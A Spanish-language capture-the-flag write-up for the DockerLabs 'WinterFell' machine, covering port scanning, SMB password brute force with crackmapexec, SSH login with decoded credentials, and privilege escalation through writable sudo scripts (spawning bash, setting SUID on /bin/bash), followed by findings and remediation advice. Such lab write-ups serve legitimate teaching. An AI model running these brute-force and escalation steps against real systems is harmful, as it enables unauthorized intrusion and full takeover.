Skip to content

WinterFell

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina WinterFell, desarrollada por Zunderrub para la plataforma DockerLabs y clasificada como fácil.

El objetivo es exponer un análisis claro, ordenado y técnicamente sustentado que abarque:

  • Identificación de vectores de ataque.
  • Revisión de archivos sensibles y recursos expuestos.
  • Obtención de acceso inicial mediante credenciales válidas.
  • Escalada de privilegios encadenada a través de distintos usuarios hasta alcanzar root.

La metodología se divide en tres etapas principales:

  1. Reconocimiento: identificación de servicios expuestos y revisión del contenido accesible.
  2. Explotación: extracción de información útil, obtención de credenciales y acceso inicial.
  3. Escalada de privilegios: abuso de permisos sudo y manipulación de scripts para obtener control total.

Todas las pruebas se realizaron en el entorno aislado ofrecido por DockerLabs.


AtributoValor
NombreWinterFell
AutorZunderrub
DificultadFácil
Fecha16/07/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip "WinterFell.zip"

Iniciar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh "WinterFell.tar"

El script devuelve la IP interna, utilizada durante toda la auditoría:

IP asignada


Se crea un directorio estructurado para registrar hallazgos y evidencias:

Ventana de terminal
mkdir -p WinterFell/{content,exploits,nmap,gobuster,scripts}
cd WinterFell

Se ejecuta un escaneo TCP completo:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP
  • 139/tcp — SMB
  • 445/tcp — SMB

Puertos abiertos


Enumeración con gobuster:

Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Recursos identificados:

  • index index data

  • /dragon — contiene un archivo con una lista de palabras: dragon data

El contenido parece un diccionario artesanal, presumiblemente útil para ataques de fuerza bruta.


Con enum4linux se identifican usuarios y recursos compartidos:

Usuarios: users smb

Carpetas compartidas: shares smb

Se detecta el usuario válido jon y el recurso compartido shares.


Con un usuario válido y un diccionario obtenido desde /dragon, se realiza fuerza bruta con crackmapexec:

Ventana de terminal
crackmapexec smb 172.17.0.2 -u jon -p passwords.txt

Resultado: crack result

Con las credenciales válidas se accede al recurso compartido:

Ventana de terminal
smbclient //172.17.0.2/shares -U jon%PASSWORD

Contenido: shares content

El archivo proteccion_del_reino contiene una contraseña codificada en base64: proteccion content

Tras decodificarla, se utiliza para acceder por SSH:

ssh login


Al listar permisos sudo:

sudo -l

El usuario puede ejecutar .mensaje.py como aria. Aunque el archivo no puede modificarse directamente, sí puede borrarse y recrearse.

Nuevo contenido:

import os
os.system('/bin/bash')

Ejecución:

Ventana de terminal
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py

Se obtiene acceso como aria.


Permisos sudo:

sudo -l

Se puede ejecutar cat y ls como daenerys, lo que permite leer archivos en su home:

file

Al final del archivo aparece una contraseña válida. Con ella:

Ventana de terminal
su daenerys

Permisos sudo:

sudo -l

Se puede ejecutar .shell.sh como root, y además el archivo es modificable. Contenido nuevo:

#!/bin/bash
chmod u+s /bin/bash

Ejecutarlo:

Ventana de terminal
sudo /usr/bin/bash /home/daenerys/.secret/.shell.sh

Finalmente:

Ventana de terminal
bash -p

Root access


  1. Contraseñas débiles y expuestas en recursos web.
  2. Servicio SMB sin restricciones, con acceso a archivos sensibles.
  3. Permisos sudo excesivamente permisivos entre usuarios.
  4. Scripts ejecutables como otro usuario sin protección contra modificación.
  5. Uso de codificación reversible (base64) para almacenar contraseñas.

  1. Implementar políticas estrictas de contraseñas y rotación.
  2. Restringir accesos SMB y evitar exponer archivos sensibles.
  3. Revisar configuraciones sudo para evitar movimientos laterales.
  4. Proteger scripts críticos mediante permisos mínimos.
  5. Evitar almacenar credenciales en texto plano o codificaciones triviales.
  6. Realizar pruebas de seguridad periódicas para identificar configuraciones inseguras.